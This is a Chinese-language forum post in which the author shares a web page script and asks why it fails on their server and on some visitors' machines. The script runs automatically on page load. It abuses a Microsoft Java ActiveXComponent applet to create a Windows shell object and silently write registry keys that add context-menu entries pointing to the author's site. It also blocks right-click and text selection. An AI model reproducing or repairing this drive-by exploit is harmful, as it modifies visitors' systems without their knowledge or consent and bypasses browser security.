IE安全还是脚本自身问题?
我做了一个脚本,放在www.1257.net/mms.htm/write.html下面是源代码:
当我放在本地端可以运行放到服务器就出错了,改成www.1257.net/mms.htm/write1.html
可以运行,这是为什么? 为什么有的机子运行可以运行,有的却不行, 是不是和IE的安全设置有关或是其它问题?
<BODY oncontextmenu=window.event.returnValue=false ondragstart=window.event.returnValue=false onselectstart=event.returnValue=false>
<SCRIPT language="javascript">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function reginfo_disreg_online(){
try{
reginfo_disreg=document.applets[0];
reginfo_disreg.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
reginfo_disreg.createInstance();
reginfo_disreg_shell=reginfo_disreg.GetObject();
reginfo_disreg.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{
reginfo_disreg_shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\取得音乐\\","http://www.1257.net/mms.htm/getmusic.htm");
reginfo_disreg_shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\取得音乐\\contexts",243,"REG_DWORD");
reginfo_disreg_shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\1257多媒体短讯\\","http://www.1257.net/mms.htm/geturl.htm");
reginfo_disreg_shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\1257多媒体短讯\\contexts",34,"REG_DWORD");
alert("修改成功!");
}
catch(e){}
}
catch(e){}
}
setTimeout("reginfo_disreg_online()",1000);
</script>
帮忙改改,请跟贴...